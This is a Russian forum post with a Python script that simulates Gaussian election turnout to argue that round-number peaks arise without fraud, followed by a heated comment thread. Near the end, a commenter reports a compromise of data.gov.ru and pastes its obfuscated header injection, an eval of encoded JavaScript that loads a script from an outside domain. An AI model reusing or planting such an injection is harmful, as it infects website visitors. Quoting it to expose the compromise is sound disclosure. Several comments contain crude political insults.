На данном ресурсе (примечание Promedol-a - им. в виду habr, а не aftershock конечно же) с завидной регулярностью появляются статьи о выборах в России. Если тезисно передавать их суть, то получается что-то вроде:
- Выборы в России фальсифицированы, и это аксиома, совершенно неоспоримый факт.
- Признаки фальсификации — характерные «пики» на графиках около «круглых» чисел процентов явки либо голосов. Или некруглых, вроде «Пика Володина» на 62,2%.
- А ещё признаки фальсификации — это отсутствие «колокола» на графиках, характерного для нормального распределения.
Примечательно, что любые попытки указать авторам статей на, откровенно говоря, спорность отдельных гипотез вызывают яростное минусование, слив кармы и выдавливание из дискуссии.
Поэтому, для проверки этих утверждений мы проведём свои, максимально честные выборы!
Сам себе Чуров
Честно говоря, я до сих пор не понимаю обоснованности утверждения, что выборы должны подчиняться закону нормального распределения. Уже даже учитывая большое количество весьма специфичных избирательных участков, типа воинских частей. Но пусть! Пусть будут максимально честные и транспарентные сферические выборы в вакууме. Строго по Гауссу.
Итак, весь процесс электорального волеизъявления будет имитировать один простой скрипт.
Знакомьтесь, ЧАС (Честная Автономная Система) Выборы 2018!
# -*- coding: utf-8 -*- import random import csv def vote(num_tiks, min_voters, max_voters, vote_result): for i in range(0, num_tiks): # Формируем избирательный участок voters_list = random.randrange(min_voters, max_voters, 1) # Задаём целевую явку, пусть будет 67% mu = int(voters_list*0.67) sigma = int(mu * 0.25) # Голосуем voters_voted = int(random.gauss(mu, sigma)) if voters_voted > voters_list: voters_voted = voters_list if voters_voted < 0: voters_voted = 0 # Считаем явку turnout = round(100*voters_voted/voters_list, 1) if turnout in vote_result: vote_result[turnout][0] += 1 vote_result[turnout][1] += voters_voted continue vote_result[turnout] = [1, voters_voted] voted_total = {} # День Выборов настал, все взяли в руки бюллетни! vote(10000, 10, 100, voted_total) vote(15000, 101, 500, voted_total) vote(30000, 501, 1000, voted_total) vote(20000, 1001, 2000, voted_total) vote(10000, 2001, 3000, voted_total) # Сохраняем результаты в итоговый протокол with open('voted_total_tiks.csv', 'w') as csv_tiks_file: csv_writer = csv.writer(csv_tiks_file) for turnout_step in voted_total: csv_writer.writerow([turnout_step, voted_total[turnout_step][0], voted_total[turnout_step][1]])
Небольшие пояснения
Структура избирательных участков и общее количество их в целом имитирует реальную ситуацию. Наибольшее количество избирателей голосует на участках размером от 500 до 3000 человек. Участки размером больше 3000 избирателей по закону существовать не могут. Средняя явка выбрана в 67 процентов — это официальные данные явки последних выборов Президента РФ. Шаг явки выбираем 0,1%.
В остальном код прекрасно объясняет сам себя, это же Python.
Результаты
Мне было лень заморачиваться с графиками в питоне, поэтому результаты выгружаю в csv и обрабатываю в LibreOffice Calc.
Вот он, итоговый протокол за подписью главы моего карманного ЦИК:
Налицо характерные признаки «фальсификации» и «вбросов ради выполнения задания по явке». Обратите внимание на эти кошмарные пики на 50, 60, 75%, и на 67 тоже.
Исходный код программы опубликован под лицензией WTFPL.
Всем спасибо за внимание.
UPD1: пользователь Andy_U в комментариях посоветовал сигму считать по формуле:
sigma = math.sqrt(voters_list*0.67*(1-0.67))
Результат получается вот такой:
График (в отличие от предыдущего) становится совершенно не похожим на реальный график явки, который мы можем наблюдать, например, вот в этой статье о фальсификациях. Тем не менее, пики и тут никуда не делись.
Комментарии
Код кривой, но рабочий, и свой аргумент ("появление пиков возможно и без вбросов") иллюстрирует. Что и вызывает резкую попоболь и переходы на личные атаки на автора и качество его кода.
Это что, реформа образования в действии?
Какое отношение Гауссы и вообще статистические данные имеют отношение к честности выборов? Что это за стрелка осциллографа, падающая стремительным домкратом?
Честность/не честность выборов основывается на проверяемости результатов. Для этого на участках голосования присутствуют наблюдатели, которые да, следят что бы в урну не бросали лишнего и что бы избирателей не били, но не это главное. Главная функция наблюдателя -- зафиксировать результаты подсчёта на его участке. На след. день после выборов в местной прессе должны быть опубликованы результаты голосования по участкам. И вот тут наблюдатель должен сравнить то, что они видел на участке с тем, что опубликовано. Потом отослать газету с местными результатами в центр своей партии или там общественного движения, где все местные результаты сложат и сверят с официальными результатами.
Теперь пусть каждый, кто люто плюсует за честность/не честность выборов попробует найти местную прессу, которая вышла на след. день после выборов, с результатами голосования по каждому участку в своём городе. И если найдёт, то пусть попробует найти отчёты наблюдателей -- как они вообще, сверяли что-нибудь или было ли что сверять вообще.
Где тут место Гауссу-Шмаусу? Либо есть независимый канал сбора и подсчёта голосов и тогда честность может быть проверена. Либо канала нету и тогда говорить не о чём.
Если говорить не только о честности подсчёта, но и честности собственно выбора, то есть невозможности безальтернативно навязать избирателям какого-то кандита(-ов). То для этого на выборах обязан быть кандидат "против всех" и в случае, если он побеждает -- то все участвовавшие с ним кандидаты с выборов снимаются и набираются новые.
ЗЫ для истово верующих:
Это всё не я придумал, это наше избирательное законодательство, которые было до расстрела Верховного Совета. Там ещё и нижний порог явки был обозначен.
это обычная задача теории управления. на сколько помню, любой приличный программист, закончивший ВУЗ по своему профилю учится этому на третьем курсе, математики - на втором.
задача автора была проверить достоверность официальных графиков явки. процент явки известен, распределение тоже. строим мат.модель и на основе случайной выборке ее проверяем. далее на основе результатов принимаем решение о верности изначальной гипотезы, либо в случае неудачи пытаемся разобраться почему так получилось. в статье автора я вижу только один недостаток - он прогнал свою программу один раз, надо было сделать несколько граффиков с одинаковыми условиями и вывести их на одном полотне
Нда, с печалью я гляжу на молодое поколение. Ещё раз -- честность/не честность выборов -- это НЕ вопрос статистики и "приличных программистов". Это вопрос доступности результатов голосования по каждому участку и наличие независимых наблюдателей, которые проверяют соответствие протокола избирательной комиссии, составленного на участке и официально опубликованных результатов. Участки закрываются в 22:00, к 00:00 все результаты подсчитаны переданы в районные/городские избиркомы, к обеду след. дня эти данные должны быть в местных СМИ. Где вы тут увидели мат. модели на основе случайной выборки?
Удивляют что те, что другие -- одни высасывают из пальца какие-то бредовые гипотезы про, то как должен выглядеть график явки, другие радостно подхватывают этот бред и начинают высасывать из того же пальца какие-то распределения. Бросаем монету -- ведущий-распорядитель говорит что выпал орёл, заинтересованные лица должны подойти и посмотреть сами, что там выпало. Потому что это первичная информация -- она должна быть проверена только сравнением. А вот на основе её вы можете строить вероятностные модели. Собрав новую первичную информацию вы можете проверять/корректировать свои модели. Но, блин, вы не можете доказывать достоверность первичной информации на основе моделей, которые строятся на анализе этой самой информации. Это понятно любому приличному школьнику, осилившему семь классов. На основе моделей вы можете попытаться предсказать (хоть будущие, хоть прошлые) результаты, но никак не может доказать достоверность этих самых первичных данных
В результате одним кажется что им не долили пива, потому что бармен как-то странно улыбался, другие доказывают, что в среднем по больнице бармены именно так и улыбаются. И те и другие с остервенением спорят о какой-то херне. Но ни те ни другие не хотят перелить пиво в мерный стакан и получить однозначный и достоверный ответ.
еще раз: это вопрос не статистики, а совсем другой области знаний, изучающей условно случайные процессы
Вы статейку то с начала читали, и сразу к программированию перешли? Вопрос был о честности выборов, то есть соответствие официальных и реальных результатов голосования. Вместо аргументов обе стороны увлеченно спорят о том, насколько похожи официальный график явки и их представление о том, как могла бы выглядеть явка по их мнению. Вы точно понимаете разницу между сбором первичных данных, проверкой первичных данных, анализом этих данных и моделированием процессов?
Да хрен с ним, даже если не понимаете, вы вообще можете как-то связать график явки с результатами голосования? Предположим что ЦИК полностью выдумал график явки от начала и до конца. И? Как это связано с % проголосовавших за кандидата X?
Ага, называется "Теория вероятностей и математическая статистика". Вы ещё мне за марковские случайные процессы глаза раскройте.
Самый толковый комментарий в обсуждении. Подписываюсь обоими руками.
ИМХО если кандидат "против всех" побеждает, набрав 50%+один голос, но менее 2/3- то все участвовавшие с ним кандидаты с выборов снимаются, пропуская очередные выборы любого уровня, и набираются новые.
Если кандидат "против всех" побеждает, набрав не более 50% голосов, то оставляются, например, два кандидата (2-е и 3-е места),а остальные кандидаты с выборов снимаются, пропуская очередные выборы любого уровня, и дополнительно набираются новые.
Если кандидат "против всех" побеждает, набрав 2/3 + один голос, то следующий тур не проводится, Президентом РФ назначаются соотв. депутаты, а участвовавшие кандидаты пропускают очередные выборы любого уровня.
Оно бы складно, но... "где я вам возьму других режиссёров?" К сожалению это сейчас путь в никуда.
Ну вы либо выборы проводите, либо перестаньте фуфло толкать о том, что народ кого-то там выбирает. Не надо людей держать за дебилов.
Нету у них режиссёров... копец блин, вы что, в детском саде что ли. У кого там нету режиссёров -- иди валежник собирай, раз головой работать не можешь.
"малянов сделал поправку на интеллект слушателя и рассказал анекдот о двух петухах..." (с)
Классика, однако. Вы чем недовольны? Вы "режиссёр" ?
Да я вообще мимо шёл. А тут вы начали на жалость давить, вот дескать и режиссёров у вас нет и одна винтовка на троих и боитесь что путь в никуда может завести...
А я вот тут и подумал -- а предложу как я тем, у кого с режиссёрами проблемы, собрать валежник -- это же гораздо проще, для этого никакие режиссёры не нужны, всё что собрал, всё твоё. Единственное что собирать его можно только без топора и пилы, поэтому надо с ручным бобром за валежником ходить.
"ходют тут всякие. Ходют и ходют" (с) Вы уж не серчайте. Ну нету режиссёров. Нету. Вы уж бы поспособствовали в меру сил.
А вы посмотрите, вы на них не сели как бы случайно? Хотя какая разница -- ну действительно, ну нету режиссёров... Тогда лучше перестать кривляться и строить из себя Карабаса-Барабаса. Пойти к затянутому бурой тиной старому пруду, там найти пару толковых бобров и -- в лес. Валежник, он сам себя не соберёт.
Понимаете тут одно из двух: или есть и сценаристы и режиссёры и это крутой Карабас-Барабас или нету ни хрена и тогда это Дуремар, одетый в прошлогоднюю коллекцию из секодн-хенда, в которого любое говорящее полено может кидаться шишками.
Вы бы только использовали прошедшее время. Иначе неокрепшие умы "приличных программистов" могут решить что это сейчас такие законы.
Участков вроде как 95 тыс., а не 85 тыс. Но это всё фигня, ибо выбросы на ЦИКовском графике (по ссылке в конце статьи) легко могут быть объяснены тем, что это как раз те самые маленькие участки в сёлах и отдалённых районах. Что удивительного в том, что в стране есть 500 маленьких участков, где на выборы пришли все 20-30 избирателей? И как это может повлиять на выборы?
Критиковать можно было бы такой же график, но из которого уже исключены мелкие участки.
Upd: А ещё лучше, раз уж ось явка градуирована через 0,1%, критиковать только тот график, на котором явка только участков, имеющих не менее 1000 зарегистрированных избирателей.
Долго пытался осознать связь программы написанной на питоне с результатами подсчета голосов. Так и не смог осознать величие
сферического коня в вакуумерезультатов выданной данной программой в деле "оправдания" результатов выборов в России.Для начала хотелось бы услышать четкую формулировку задачи и перечень исходных данных на которые опирался автор при её решении. Только после этого можно говорить о "правильности" программулины на питоне. А пока что это действительно провоцирование срача.
Долго пытался осознать
с хабры, да?
Проблема с кругом общения? Сочувствую.
с хабры. сразу видно тупарей. задачу не понял, код из трех строчек ниасилил, а сюда зашел потому как бомбит.
Я бы для моделирования использовал случайные процессы с тяжелыми хвостами. Там пила получается - мама не горюй, хотя на первый неопытный взгляд кажется, что результат должен быть гладким.
Такой математический фокус. Который и проявляется на выборах.
Без объяснения причин график не особо интересен
Кроме того, нужен сглаженный график, который и должен показать нормальный колокол
Не, питон - это как-то не по нашему... Давайте на Haskel или Lisp...))))))))
Только masm. Только хардкор 😊
Посмотрел комменты к указанной статье на Хабре. Справедливости ради надо отметить, что хабраюзер Shaltay вел дискуссию излишне грубо и агрессивно. В каждом ответе вместе со ссылками на алгоритмы зачем-то упоминал Навального и его адептов, предлагал оппоненту "поучиться в школе" и т.д. ) Зачем? Такое поведение сразу снижает уровень доверия к аргументации. Именно за это ему минусов и наставили, как мне показалось.
Хотя, да, ресурс выродился, статьи не интересные, очень много рекламы и потенциальных врагов народа ).
Да? ты просто могуч.
Я вот эту статью смотрел. Да, она не его, но Shaltay там активно комментирует и продвигает свою программку.
https://habr.com/post/358790/
Да, и где там
Вот его первый коммент
Shaltay 19.05.18 в 19:02
–7
Ой, как интересненько вы считаете.
Очаровательная методика.
Берём 10 участков в среднем по 2000 избирателей (шаг полпроцента в обе стороны)
Явка от 84,5 до 85,5 — шаг те же полпроцента в обе стороны.
Результат:
ibb.co/kNQ5Ao
Ой, откуда же этот пик на 85%? Явный, явный вброс совершило какое-то из моих восьми ядер. Банду геть! Требуем честного рэндома! Так победимъ!
На упоминание Навального, сразу реакция либераста с бутылкой в жопе
Sabubu 20.05.18 в 03:31
+3 Объясните пожалуйста, зачем вы решили упомянуть Навального в комментарии? Я не вижу его имени в статье. Или вы просто хотели тут пожаловаться, как он вам не нравится? Терпите.
Однако же сам
Sabubu 20.05.18 в 02:47+1
Я на участке сам видел семью, в которой жена фотографировала мужа с детьми со словами «это папе на работу». На какую работу нужно приносить фотографию семьи на избирательном участке, ваши предположения?
То есть мудень против, что бы его кумира упоминали, однако сам делает набросы и ему это сходит с рук.
Так что, гуляйте лесом, хабровчане, Бггг.
Ну да, с таким форматом общения только на артешоке прокатывает ). Да, buzzi555 ?
Аргументация тут тоже не в почете, потому что "методичка", "креаклы", "госдеп"
Относитесь к этому легче
Упоротый тут еще правила устанавливает как общаться с себе подобными. Ну надо же. Скромнее надо быть, говнокодер
хабр сегодня:
-Псс. хочешь поговорить про этустрану
-Нет, я хочу поговорить про когерентность кэша
-Окей. Вы посмотрите до чего Путин довел когерентность..
-Б*^$# что ты несешь???
-Ах раб, ватник!
Вот и яркий пример того, о чем я и говорю. Повышенное ЧСВ и родовая травма от технологий в комплекте.
Это нытье и есть "Ах раб, ватник!". Узнал себя в этом диалоге?
нет, ну, что вы!? какие такие фальсификации? их никогда не было и сейчас нет!
В частности, Ткачев утверждает, что «все списки согласования начиная от губернатора и в район на выборы» идут через него: «Я вижу, кого переедет через месяц, кого через два, кого через три, кого сменят, кто боится». По его словам, если «есть команда» (президента или АП) освободить пост, а занимающий его упирается, то работать с ним «будут по всем фронтам: следствие, прокуратура, со всех сторон будут окружать», «под ручки под беленькие заберут, арестуют активы». «Я всю эту методику отработал <…> Я работал по всем губернаторам, по всем главам, по всем краям», — резюмирует Ткачев.
"Так и Вы тоже говорите!" (С)
Гражданину книжки продавать надо, а кто их купит без скандальных разоблачений?
Годный срач. Ахтунг - пахнет трольчатиной! Автор, нет ли в обсуждении упырей? Сим повелеваю - внести запись в реестр самых обсуждаемых за день.
Подняли сложную тему, которая опять останется лишь поверхностно обсужденной.
На частном уровне, написано и наанализировано на эту тему уже не на одну книжку.
Одни ищут "фичи" в данных, которые плохо объяснимы (нередко бессовестно передергивая, политизируя, а то и прямо мухлюя с оными). Другие столь же поверхностно от них отмахиваются, зачастую - с заведомо негодными аргументами.
Разбираемая статья - типичный пример второго. Вроде как любому математику очевидно и неоднократно разбиралось, что дробный шум - есть первое на проверку, но недостаточное объяснение Бороды. Местоположение и соотношение размеров пичков у Бороды сильно другое. Например, дробный шум можно использовать как объяснение пика на 50% (что не есть гарантия, что это объяснение - единственное), но он "НЕ объясняет некоторые другие пики на круглых значениях процентов (65%, 70%, 85%, 90%, 95%) в правой части графика" (цитата из ссылки).
Так что, опять, ограничимся поверхностным трепом и ни к чему не придем.
А суть-то проста. Выборы - уникальная возможность регулярно собирать данные по населению РФ. Стало быть, любые "фичи" в этих данных должны быть как медом намазаны для аналитиков, работающих на государство, ибо в век большой цифры, если государство не способно анализировать само себя, то оно недолго будет конкурентноспособным. А раз анализ ведется - то и отчеты с разбором могли бы публиковаться. Гражданам же интересно. А их... нет.
Столько уже лет вопросу, а дискуссии до сих пор на уровне "колоколов, дробного шума и происков Госдепа".
Согласен с Вами. Государство не готово говорить с гражданами на языке математики, увы. Считается, что это "слишком сложно". Для кого сложно?
Для кого-то, да, сложно. Но не принимается в учет, что граждане бывают разные с очень разными способностями к восприятию и вытекающих из оной вопросами. И, кстати, никто не говорил, что сложный анализ должен быть непременно сложным в объяснении.
Так, например, для широких слоев общества, вполне достаточным может быть объяснение: "Этот эффект полностью объясняется взаимодействием таких-то и таких-то факторов (ссылка)". А сложности будут уже по ссылке, для тех, кто хочет углубиться.
Ну и в целом, мы очень отстаем в области политической аналитики в целом. Кто что думает, почему, как это манипулируется, за какие деньги и ресурсы - все это остается уделом разрозненных блоггеров-одиночек, а не колоссальных институтов, как на Западе. А сие есть очень серьезная уязвимость политической системы. Причем, как к внутренним сюрпризам, так и внешним влияниям. Не говоря уж о невозможности систематичной работы над общей удовлетворенностью.
Я только решил дать ссылку на http://data.gov.ru/
но там, при попытке зайти в раздел, идет фишинг на js.localstorage.tk
проверьте, у вас эта ссылка тоже ругается в хроме на фишинг? http://data.gov.ru/taxonomy/term/71/datasets
Да, тоже ругается.
Ага. В хедере идет инъекция. Какой позор ...
Ругается-ругается. Ну, у меня, может это Госдеп блокирует (шутка), а так, возможно что-то с сертификатом у сайта не то. Что есть некий признак криволапости хоста, странный для такого уровня.
Да не, там сайт на друпале. Не удивительно, что ломанули.
В хедере висит зашифрованная инъекция
<head><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 122, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 122, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 122, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 106, 115, 46, 108, 111, 99, 97, 108, 115, 116, 111, 114, 97, 103, 101, 46, 116, 107, 47, 115, 46, 106, 115, 63, 109, 111, 114, 61, 50, 51, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 122, 41, 59));</script>
Ну, надеюсь, со временем осознают важность надежного размещения государственных данных...
Спасибо за дебаг!
Сильно! Хабр не вынес Питона.
А попробуйте на гиктаймсе хоть слово сказать супротив Илона ихнего Маска или монсантовских ГМО - мигом сольют карму в -40 или ниже, за что грозит лимит на 1 ответ в неделю (ЕМНИП).
Типичный ответ про космический проект Фалькон-9 (а не человека и парохода):
"Он не крутой. Он — обычный человек и кумир многих."
https://geektimes.com/post/280066/#comment_9553622
С точки зрения статистики наблюдаемая "пила" легко объясняется "на пальцах" для тех, кто понимает "корень из N". Я обращал внимание, что многие молодые программисты испытывают трудности с аналитическими расчётами, вместо этого для расчёта вероятности пишут программу. Оно, конечно, может и даст результат быстрее, но совершенно не даёт понимания: почему такой результат.
Вообще анекдот с пиками не в наличии самих пиков,а в хронологии.
Изначально обнаружив пики на 50%, 25, 75 народ ликовал. Вотжи Правда! Потом какой то чувак расписал мехнизм возникновения оных пиков http://eruditor.ru/k/?16
Тогда либеральное говно дружно перековалось, и начало рассуждать, что пики на 1/4 это мол не пики, а вот пики на 1/3, 1/7 и так далее - есть вернейшее доказательство вбросов.
Попутно либералов потыкали в навоз приводя отсутствие куполов на графиках из других стран, но это уже было как божья роса.
Про выборы очень часто пишут люди, не разбирающиеся в теме в принципе.
Если вбросы в их понимании возможны в промышленных масштабах, то почему бы оппозиции не воспользоваться этим?
Страницы